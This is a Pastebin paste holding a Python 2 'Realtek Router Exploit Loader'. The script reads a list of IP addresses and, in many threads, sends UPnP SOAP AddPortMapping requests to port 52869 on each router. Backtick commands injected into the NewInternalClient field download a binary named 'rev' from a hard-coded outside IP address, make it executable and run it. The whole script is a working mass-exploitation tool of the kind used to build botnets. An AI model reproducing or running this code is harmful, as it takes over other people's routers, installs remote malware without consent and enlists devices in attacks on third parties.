Dr-L0v3

Realtek Router Exploit Loader

Jan 25th, 2018
735
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 2.79 KB | None | 0 0
  1. #! python !#
  2.  
  3. # Realtek Loader
  4.  
  5. # Dr.L0v3
  6.  
  7. import threading, sys, time, random, socket, re, os, requests
  8.  
  9. ipz = open(sys.argv[1], "r").readlines()
  10. p = "<?xml version=\"1.0\" ?><s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"><s:Body><u:AddPortMapping xmlns:u=\"urn:schemas-upnp-org:service:WANIPConnection:1\"><NewRemoteHost></NewRemoteHost><NewExternalPort>47450</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var;wget http://69.64.61.103/rev`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>"
  11. pp = "<?xml version=\"1.0\" ?><s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"><s:Body><u:AddPortMapping xmlns:u=\"urn:schemas-upnp-org:service:WANIPConnection:1\"><NewRemoteHost></NewRemoteHost><NewExternalPort>47450</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`chmod 777 /var/rev`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>"
  12. ppp = "<?xml version=\"1.0\" ?><s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"><s:Body><u:AddPortMapping xmlns:u=\"urn:schemas-upnp-org:service:WANIPConnection:1\"><NewRemoteHost></NewRemoteHost><NewExternalPort>47450</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var;./rev`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>"
  13. headerlist = {'SOAPAction': 'urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping'}
  14.  
  15. class reeltek(threading.Thread):
  16.         def __init__ (self, ip):
  17.             threading.Thread.__init__(self)
  18.             self.ip = str(ip).rstrip('\n')
  19.         def run(self):
  20.             try:
  21.                 url = "http://" + self.ip + ":52869/picsdesc.xml"
  22.                 r = requests.post(url, timeout=5, headers=headerlist, data=p)
  23.                 r2 = requests.post(url, timeout=2.5, headers=headerlist, data=pp)
  24.                 r3 = requests.post(url, timeout=2.5, headers=headerlist, data=ppp)
  25.                 print "[Realtek] Payload Sent %s"%(self.ip)
  26.             except:
  27.                 pass
  28.  
  29. for ip in ipz:
  30.     try:
  31.         n = reeltek(ip)
  32.         n.start()
  33.         time.sleep(0.01)
  34.     except:
  35.         pass
Advertisement
Add Comment
Please, Sign In to add comment